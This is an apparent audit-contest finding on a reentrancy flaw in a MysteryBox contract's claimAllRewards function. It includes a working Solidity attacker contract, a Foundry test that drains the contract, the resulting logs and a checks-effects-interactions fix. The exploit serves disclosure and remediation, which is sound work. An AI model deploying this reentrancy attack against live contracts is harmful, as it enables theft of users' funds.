Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy vulnerability in `MysteryBox::claimAllRewards` function allows attacker to repeatedly claim rewards and drain funds

phylax

Summary

In the MysteryBox::claimAllRewards function, a reentrancy vulnerability exists because the contract transfers rewards to the user before updating the rewardsOwned variable. This allows an attacker to repeatedly invoke claimAllRewards and drain the protocol’s funds before the reward balance is properly updated.

Impact

A malicious user can drain the protocol for all funds.

Vulnerability Details

Exploit scenario:

  1. A malicious user purchases a mystery box containing ETH.

  2. The user invokes the claimAllRewards function, which sends the ETH to the attacker’s contract.

  3. The attacker’s contract uses the fallback or receive function to repeatedly call claimAllRewards before the contract updates the reward balance, draining the protocol’s funds.

Add this contract to the test suit:

contract ReentrancyAttack {
MysteryBox public mysteryBox;
​
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
}
​
function attack() public {
mysteryBox.claimAllRewards();
}
​
function _stealRewards() public {
if (address(mysteryBox).balance > 0) {
mysteryBox.claimAllRewards();
}
}
​
receive() external payable {
_stealRewards();
}
​
fallback() external payable {
_stealRewards();
}
}

Add this function to test contract:

function testReentrancyClaimAllRewards() public {
ReentrancyAttack reentrancyAttack = new ReentrancyAttack(mysteryBox);
​
vm.deal(address(reentrancyAttack), 1 ether);
​
vm.startPrank(address(reentrancyAttack));
mysteryBox.buyBox{value: 0.1 ether}();
vm.warp(8 days);
mysteryBox.openBox();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
console.log("Reward Value:", rewards[0].value);
console.log("Contract Balance Before Attack:", address(mysteryBox).balance);
console.log("Attacker Balance Before Attack:", address(reentrancyAttack).balance);
reentrancyAttack.attack();
console.log("Contract Balance After Attack:", address(mysteryBox).balance);
console.log("Attacker Balance After Attack:", address(reentrancyAttack).balance);
vm.stopPrank();
​
assert(address(mysteryBox).balance == 0);
}

In this scenario the seed value is 1.9 ether and the rewards is Silver Coin with a value of 0.5 ether.

Here is the output:

Logs:
Reward Value: 500000000000000000
Contract Balance Before Attack: 2000000000000000000
Attacker Balance Before Attack: 900000000000000000
Contract Balance After Attack: 0
Attacker Balance After Attack: 2900000000000000000

Tools Used

Manual code review and slither

Recommendations

Follow Checks, Effects, Interactions (CEI) is best practice.

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
+ delete rewardsOwned[msg.sender];
​
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
​
- delete rewardsOwned[msg.sender];
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!